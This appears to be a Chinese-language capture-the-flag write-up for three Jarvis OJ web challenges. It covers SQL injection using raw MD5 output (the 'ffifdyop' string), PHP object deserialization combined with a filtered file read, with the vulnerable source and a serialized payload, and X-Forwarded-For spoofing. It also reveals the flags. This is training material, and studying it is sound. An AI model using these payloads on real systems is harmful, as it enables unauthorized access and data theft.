Jarvis OJ writeup Web

**

login

**
参考了http://www.joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

抓包,发现了hint
Jarvis OJ writeup Web_第1张图片

sql="SELECTFROMadminWHEREpass=".md5( password,true).”’”;

思路比较明确,当md5后的hex转换成字符串后,如果包含'or'这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6'

很明显可以注入了。

提供一个字符串:ffifdyop

得出flag

Correct pass!! Your Flag: PCTF{R4w_md5_is_d4ng3rous} 

然而不知道为什么提交flag没有用= =

神盾局的秘密

查看源代码,发现

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

猜测是用base64文件读取
尝试读取其中三个php文件:
index.php

 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php


    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) 
            && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE
            && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

showimg.php


    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE 
        && stripos($f,'/')===FALSE 
        && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

shield.php中有提示说flag在pctf.php中,但是showimg.php中又有限制条件,所以肯定不会直接访问pctf.php,发现index.php中有反序列化,那么问题解决了

构造payload.php


    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
    }
    $a = new Shield();
    $a->file = "pctf.php";
    echo serialize($a);
?>

可知 序列化后的结果为O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

在index.php 中通过class传参再反序列化

题目很调皮

 
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

Localhost

这题比较简单,抓包,加上xff(X-Forwarded-For)为127.0.0.1,得到Flag~~~

你可能感兴趣的:(Jarvis OJ writeup Web)